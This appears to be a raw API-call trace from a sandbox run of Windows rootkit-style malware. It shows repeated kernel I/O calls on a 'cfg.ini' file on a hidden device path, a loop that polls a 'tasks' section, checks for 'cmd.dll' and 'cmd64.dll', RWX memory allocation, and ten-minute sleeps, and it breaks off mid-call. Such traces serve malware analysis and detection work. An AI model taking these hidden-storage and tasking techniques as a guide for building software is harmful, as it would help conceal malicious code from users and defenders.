[0126.865] KeEnterCriticalRegion () [0126.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.865] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2d000 [0126.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.866] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.866] IdePortDispatch () returned 0x103 [0126.866] KeWaitForMutexObject () returned 0x0 [0126.866] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.866] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.866] IdePortDispatch () returned 0x103 [0126.866] KeWaitForMutexObject () returned 0x0 [0126.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.866] KeLeaveCriticalRegion () [0126.866] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.867] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.867] KeEnterCriticalRegion () [0126.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.867] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.867] KeLeaveCriticalRegion () [0126.867] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.867] KeEnterCriticalRegion () [0126.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.867] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.867] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da6a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.867] KeLeaveCriticalRegion () [0126.867] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.867] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.867] KeEnterCriticalRegion () [0126.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.867] ExFreePoolWithTag (P=0xfffffa80037ed6c0, Tag=0x0) [0126.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.867] KeLeaveCriticalRegion () [0126.867] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.868] ReleaseMutex (hMutex=0xf0) returned 1 [0126.868] Sleep (dwMilliseconds=0x927c0) [0126.887] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.887] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.887] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.887] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.887] KeEnterCriticalRegion () [0126.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.887] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.887] IdePortDispatch () returned 0x103 [0126.887] KeWaitForMutexObject () returned 0x0 [0126.887] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.887] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.887] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.887] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.887] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.888] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da800 [0126.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.888] KeLeaveCriticalRegion () [0126.888] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.888] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.888] KeEnterCriticalRegion () [0126.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.888] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.888] KeLeaveCriticalRegion () [0126.888] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.888] KeEnterCriticalRegion () [0126.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.888] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.888] IdePortDispatch () returned 0x103 [0126.888] KeWaitForMutexObject () returned 0x0 [0126.888] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.888] KeLeaveCriticalRegion () [0126.888] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.888] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.889] KeEnterCriticalRegion () [0126.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.889] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b32000 [0126.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.889] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.889] IdePortDispatch () returned 0x103 [0126.889] KeWaitForMutexObject () returned 0x0 [0126.889] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.889] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.889] IdePortDispatch () returned 0x103 [0126.889] KeWaitForMutexObject () returned 0x0 [0126.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.890] KeLeaveCriticalRegion () [0126.890] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.890] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.890] KeEnterCriticalRegion () [0126.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.890] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.890] KeLeaveCriticalRegion () [0126.890] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.890] KeEnterCriticalRegion () [0126.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.891] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.891] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003accc40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.891] KeLeaveCriticalRegion () [0126.891] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.891] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.891] KeEnterCriticalRegion () [0126.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.891] ExFreePoolWithTag (P=0xfffffa80037da800, Tag=0x0) [0126.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.891] KeLeaveCriticalRegion () [0126.891] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.891] ReleaseMutex (hMutex=0xf0) returned 1 [0126.891] Sleep (dwMilliseconds=0x927c0) [0126.910] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.910] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.910] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.910] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.910] KeEnterCriticalRegion () [0126.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.910] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.910] IdePortDispatch () returned 0x103 [0126.910] KeWaitForMutexObject () returned 0x0 [0126.910] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.910] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.910] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.910] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.910] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.910] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da800 [0126.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.911] KeLeaveCriticalRegion () [0126.911] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.911] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.911] KeEnterCriticalRegion () [0126.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.911] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.911] KeLeaveCriticalRegion () [0126.911] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.911] KeEnterCriticalRegion () [0126.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.911] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.911] IdePortDispatch () returned 0x103 [0126.911] KeWaitForMutexObject () returned 0x0 [0126.911] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.911] KeLeaveCriticalRegion () [0126.911] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.911] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.912] KeEnterCriticalRegion () [0126.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.912] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b37000 [0126.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.912] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.912] IdePortDispatch () returned 0x103 [0126.912] KeWaitForMutexObject () returned 0x0 [0126.912] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.912] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.912] IdePortDispatch () returned 0x103 [0126.912] KeWaitForMutexObject () returned 0x0 [0126.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.912] KeLeaveCriticalRegion () [0126.912] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.913] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.913] KeEnterCriticalRegion () [0126.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.913] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.913] KeLeaveCriticalRegion () [0126.913] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.913] KeEnterCriticalRegion () [0126.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.913] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.913] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da8c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.914] KeLeaveCriticalRegion () [0126.914] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.914] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.914] KeEnterCriticalRegion () [0126.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.914] ExFreePoolWithTag (P=0xfffffa80037da800, Tag=0x0) [0126.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.914] KeLeaveCriticalRegion () [0126.914] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.914] ReleaseMutex (hMutex=0xf0) returned 1 [0126.914] Sleep (dwMilliseconds=0x927c0) [0126.935] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.935] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.935] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.935] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.935] KeEnterCriticalRegion () [0126.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.935] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.935] IdePortDispatch () returned 0x103 [0126.936] KeWaitForMutexObject () returned 0x0 [0126.936] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.936] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.936] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.936] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.936] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.936] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf81a0 [0126.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.936] KeLeaveCriticalRegion () [0126.936] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.936] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.936] KeEnterCriticalRegion () [0126.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.936] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.936] KeLeaveCriticalRegion () [0126.936] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.936] KeEnterCriticalRegion () [0126.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.936] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.936] IdePortDispatch () returned 0x103 [0126.937] KeWaitForMutexObject () returned 0x0 [0126.937] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.937] KeLeaveCriticalRegion () [0126.937] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.937] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.937] KeEnterCriticalRegion () [0126.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.937] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3c000 [0126.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.937] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.937] IdePortDispatch () returned 0x103 [0126.937] KeWaitForMutexObject () returned 0x0 [0126.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.938] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.938] IdePortDispatch () returned 0x103 [0126.938] KeWaitForMutexObject () returned 0x0 [0126.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.938] KeLeaveCriticalRegion () [0126.938] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.939] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.939] KeEnterCriticalRegion () [0126.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.939] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, 